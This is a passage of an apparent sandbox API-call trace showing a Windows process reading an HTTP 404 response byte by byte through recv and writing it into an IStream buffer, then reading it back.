readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.156] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x4c, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.156] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.156] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.156] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.156] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.156] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.156] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x67, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.156] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.156] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.157] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.157] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x68, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.157] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.157] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.157] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.157] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.157] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.157] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x33, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.157] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.157] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.158] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x33, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.158] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.158] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.158] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.158] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x32, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.158] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.158] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.158] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.158] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.158] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.158] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.158] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.158] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.158] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.158] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.158] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.158] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x48, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.158] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.158] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.158] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x50, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x4e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x46, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x75, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.159] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x64, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x44, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x19, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x61, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x57, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x64, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x21, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2c, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x23, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x24, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x25, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x41, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x27, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.160] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x70, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.160] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x72, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x29, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x32, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x38, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x30, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x39, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x31, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x32, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x32, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x33, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x34, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x35, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x36, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x38, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x37, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x38, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, 